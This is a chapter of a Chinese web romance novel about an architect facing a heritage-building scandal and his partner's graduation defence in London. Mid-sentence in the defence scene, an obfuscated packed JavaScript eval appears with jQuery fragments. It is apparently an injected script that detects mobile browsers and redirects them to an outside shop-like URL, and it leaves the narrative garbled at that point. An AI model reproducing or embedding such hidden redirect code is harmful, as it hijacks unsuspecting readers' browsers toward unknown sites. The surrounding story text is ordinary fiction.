顾怀瑾回国的第三天，历史建筑受损事件登上了热搜。
标题耸动：“知名建筑师项目酿成文物破坏，谁该为消失的历史负责？”配图是那栋清末民居倒塌的山墙，砖石散落一地，露出内部腐朽的木结构。评论区沸反盈天，有人骂开发商黑心，有人骂监管部门失职，也有人把矛头直指设计方——顾怀瑾的事务所。
林溪是在凌晨三点刷到这条新闻的。他刚熬完毕业设计的最后一轮修改，正准备睡觉，手机推送弹了出来。看完报道，他立刻给顾怀瑾打电话。
第一通，无人接听。
第二通，响了很久才接起。
“喂。”顾怀瑾的声音沙哑得像砂纸磨过。
“新闻我看到了。”林溪说，“情况有多糟？”
电话那头传来纸张翻动的声音，还有隐约的说话声——似乎有人在旁边汇报工作。
“比报道的还糟。”顾怀瑾说得很简短，“受损的不只是山墙，整个西厢房的结构都有问题。初步判断是之前的地下室违规开挖导致的，但我们作为设计方，有监管责任。”
“需要我回去吗？”
“不用。”顾怀瑾立刻说，“你专心做毕业设计。这边……我能处理。”
但林溪听出了他声音里的疲惫，那种沉重的、几乎要把人压垮的疲惫。
“您多久没睡了？”他问。
“……两天。”
“顾怀瑾。”林溪第一次连名带姓地叫他，“去睡觉。”
电话那头沉默了几秒，然后传来很轻的一声——像是顾怀瑾把头靠在了什么上。
“睡不着。”他轻声说，“一闭眼，就是那堵墙倒下来的画面。”
林溪感到心脏一阵抽痛。他想起图书馆那扇开错方向的门，想起旧厂房崩塌的屋顶，想起顾怀瑾在印度事故后十年的自我惩罚。这个男人总是把太多责任扛在肩上，重到几乎要把自己压碎。
“听着，”林溪放柔声音，“你现在去冲个热水澡，喝杯热牛奶，然后躺下。我在这边陪着你，直到你睡着。”
“你那边凌晨了……”
“我明天没课。”林溪撒谎，“快去。”
电话没有挂断。林溪能听见顾怀瑾起身，走动，打开水龙头的声音。水声，毛巾摩擦声，杯子碰撞声。这些细微的日常声响，在寂静的深夜里，像某种安眠曲。
许久，顾怀瑾的声音重新响起：“躺下了。”
“关灯。”
“嗯。”
电话里只剩下呼吸声。顾怀瑾的呼吸很轻，但不太平稳，显然还没放松下来。
“给你讲个故事吧。”林溪轻声说，“关于哈桑大叔的。”
“嗯。”
“哈桑大叔说他刚来英国时，在餐馆洗盘子。有天打碎了十几个盘子，老板要扣他一周工资。他急得直哭，因为那一周工资是他下个月的房租。”
窗外的伦敦下起了雨，雨声细密地敲打着玻璃。
“后来呢？”顾怀瑾问。
“后来老板看他哭得太惨，说：‘这样吧，你今晚把所有的锅都擦亮，我就不扣钱。’哈桑大叔擦了一整夜，把手都擦破了。天亮时，老板来看，那些锅亮得能照出人影。”
林溪顿了顿：“哈桑大叔说，那是他人生中最长的一夜。但天亮时，他看着那些发光的锅，突然明白了：有时候灾难不是终点，是让你证明自己能多坚韧的起点。”
电话那头传来一声很轻的笑：“你在编故事安慰我。”
“一半一半。”林溪也笑了，“打碎盘子是真的，擦锅也是真的，只是结论是我加的。”
沉默。雨声填充了空隙。
“林溪，”顾怀瑾的声音几乎像耳语，“我想你了。”
这句话说得那么自然，那么轻，却像一颗石子投入深潭，在林溪心里漾开层层涟漪。
“我也想你。”他说，“所以你要好好的，等我回去。”
“……嗯。”
呼吸声渐渐平稳。顾怀瑾睡着了。
林溪没有挂电话。他听着那均匀的呼吸声，在伦敦的雨夜里，坐了整整一个小时。
直到手机没电自动关机。
---
接下来的两周，风暴愈演愈烈。
媒体挖出了更多黑料：开发商违规操作的证据，监管部门睁只眼闭只眼的记录，甚至还有施工方使用劣质材料的照片。舆论从批评升级为声讨，事务所官网被刷屏，合作方纷纷来电询问，甚至有几个进行中的项目被暂停。
顾怀瑾几乎住在了办公室。白天应对调查组，晚上处理法律文件，凌晨两三点才在沙发上眯一会儿。顾怀玥每天来送饭，看着他迅速消瘦下去的脸，急得掉眼泪。
“你这样不行。”她说，“至少回家睡一觉。”
“没时间。”顾怀瑾头也不抬地看着文件，“下周就要开听证会，我必须准备好所有材料。”
顾怀玥抢过他的笔：“顾怀瑾！项目重要还是命重要？！”
“都重要。”顾怀瑾疲惫地揉了揉太阳穴，“姐，这个项目如果失败，事务所可能就完了。二十年的心血……”
“那也不能拿命去拼！”
就在这时，顾怀瑾的手机响了。是林溪。
他接起，努力让声音听起来正常：“喂？”
“你在办公室？”林溪问。
“嗯。”
“吃饭了吗？”
“……还没。”
电话那头传来一声叹息：“顾怀瑾，我订了外卖，半小时后到。你现在放下手里的东西，去洗手，然后等着吃饭。”
命令的语气。顾怀瑾愣住了。
“听到没有？”林溪催促。
“……听到了。”
挂了电话，顾怀玥惊讶地看着他：“谁啊？这么厉害。”
“林溪。”顾怀瑾的嘴角居然微微上扬，“他订了外卖。”
半小时后，外卖真的送到了。不是普通的外卖，是顾怀瑾最喜欢的那家粤菜馆，还附着一张手写卡片：
“吃饭，睡觉。其他事，一件件解决。
——林溪”
字迹是林溪的，但卡片是打印后剪贴上去的——显然是他远程操作。
顾怀瑾看着那张卡片，眼眶突然发热。
他打开饭盒。烧鹅还是温的，叉烧油亮，青菜翠绿，还有一小盅炖汤。简单的饭菜，但在此刻，像一道救赎。
顾怀玥看着他安静地吃饭，眼泪又掉下来：“这个林溪……真好。”
“嗯。”顾怀瑾轻声说，“他很好。”
那天晚上，顾怀瑾终于回了家。洗完澡，他给林溪打视频。
屏幕里，林溪在工作室，背景是满墙的图纸。他看起来很疲惫，眼睛下有明显的黑眼圈。
“毕业设计怎么样？”顾怀瑾问。
“差不多了。”林溪揉了揉眼睛，“就是答辩有点紧张。”
“你会通过的。”
“您怎么知道？”
“因为我相信你。”顾怀瑾顿了顿，“就像你相信我一样。”
两人隔着屏幕对视。八千公里，八小时时差，但此刻，距离消失不见。
“顾怀瑾，”林溪轻声说，“我想好了。答辩一结束，我就回国。”
“西南那边……”
“先去北京。”林溪说，“陪你渡过这个难关，然后我们再商量西南的事。”
“可是你的计划……”
“计划可以调整。”林溪微笑，“但人不能。”
顾怀瑾感到喉咙发紧。他想说“不用”，想说“别为我耽误自己”，但最终，他说出口的是：“……好。”
软弱一次。就这一次。
---
林溪的毕业答辩在一周后。
答辩厅里坐满了人——教授，同学，还有几个受邀的外部评审。琼斯教授坐在主位，表情严肃。
林溪站在讲台前，深呼吸，然后开始陈述。
他讲得很稳。从东区社区的调研开始，到记忆墙的概念，到时差的翻译，到最终的“记忆共鸣箱”方案。模型在灯光下旋转，图纸在屏幕上切换，声音在空间里回荡。
讲到一半时，琼斯教授打断了他：“林，你这个‘记忆翻译’的概念很有趣，但如何量化？如何证明它真的‘翻译’了记忆，而不是设计师的一厢情愿？”
这个问题很尖锐。但林溪准备好了。
他调出一组对比图
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193505|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：左边是哈桑母亲的刺绣图案，右边是他设计的空间序列。线条，比例，节奏——一一对应。
“这不是象征性的模仿，”林溪解释，“是数学性的转译。我分析了刺绣的几何规律，提取了模数系统，然后应用在空间划分上。同样，对于声学设计，我记录了社区日常的声音频率，转化成墙面的吸音系数。”
他顿了顿：“建筑不是艺术，是科学。但科学的对象可以是情感，是记忆，是那些被认为‘不可量化’的东西。”
琼斯教授看着他，许久，点了点头。
答辩继续进行。问题一个接一个，有的关于技术，有的关于理论，有的关于实践可行性。林溪一一回答，不回避困难，不夸大成果。
最后，琼斯教授问：“这个设计，如果建成，你认为最大的挑战是什么？”
林溪想了想：“不是技术，不是资金，是时间。”
“时间？”
“是的。”他轻声说，“记忆需要时间沉淀，信任需要时间建立，社区需要时间生长。一个建筑可以很快建成，但它要真正‘活’起来，需要很久。久到设计它的人可能都看不见那一天。”
答辩厅里安静下来。
“但你还是设计了它。”琼斯教授说。
“因为，”林溪看向窗外，伦敦的天空正飘着细雨，“我相信有些东西，值得用一生去等待。就像有人等一封信等了四十年，有人等一个道歉等了十年，有人等一个拥抱……等了很久很久。”
他不知道顾怀瑾此刻是否在听——他说过会尽量看直播。但他希望他在。
答辩结束，评审团闭门讨论。林溪在走廊里等待，手心全是汗。
拉杰过来拍拍他的肩：“兄弟，讲得太棒了。那个‘时间’的回答——绝了。”
“谢谢。”
半小时后，门开了。琼斯教授走出来，脸上有难得的笑容。
“恭喜，”她说，“全票通过。而且，系里决定推荐你的作品参加今年的RIBA学生奖。”
林溪愣住了。RIBA——英国皇家建筑师学会奖，建筑学生的最高荣誉之一。
“教授，我……”
“你值得。”琼斯教授拍拍他的肩，“现在，去告诉那个在北京等你的人吧。我看直播了，你说得对——有些等待，值得。”
林溪几乎是跑回公寓的。他拨通顾怀瑾的电话，响了一声就被接起。
“过了！”他几乎是喊出来的，“而且推荐参加RIBA奖！”
电话那头传来深深吸气的声音，然后顾怀瑾说：“我就知道。你一直都很棒。”
声音里有压抑的哽咽。
“您哭了？”林溪惊讶。
“……没有。”顾怀瑾清了清嗓子，“只是……为你骄傲。”
林溪感到眼眶发热：“那您那边呢？听证会……”
“下周。”顾怀瑾顿了顿，“但不管结果如何，我都能面对了。因为我知道，你在。”
因为你在。简单的三个字，却承载了全部的重量。
“顾怀瑾，”林溪轻声说，“我订了下周四的机票。”
“这么快？”
“不想等了。”林溪说，“一分一秒都不想等了。”
电话那头沉默了很久。然后顾怀瑾说：“好。我去机场接你。”
“嗯。”
挂断电话，林溪开始收拾行李。其实也没什么好收拾的——衣服，书，那本深蓝色笔记本，哈桑母亲的刺绣，顾怀瑾父亲的坡屋顶手稿，还有……一枚生锈的徽章。
他把这些东西小心地装进箱子。每一件，都是一段记忆，一个故事，一次相遇。
窗外的雨停了。阳光穿透云层，洒在泰晤士河上，金光粼粼。
伦敦的旅程即将结束。但新的旅程，就要开始。
而这次，他不是一个人。
手机震动，顾怀瑾发来一张照片：北京的夜空，难得能看到星星。下面附着一行字：
“等你回来，一起看星星。”
林溪保存了照片。然后他走到窗边，看着这个生活了两年的城市。
再见，伦敦。
你好，北京。
你好，顾怀瑾。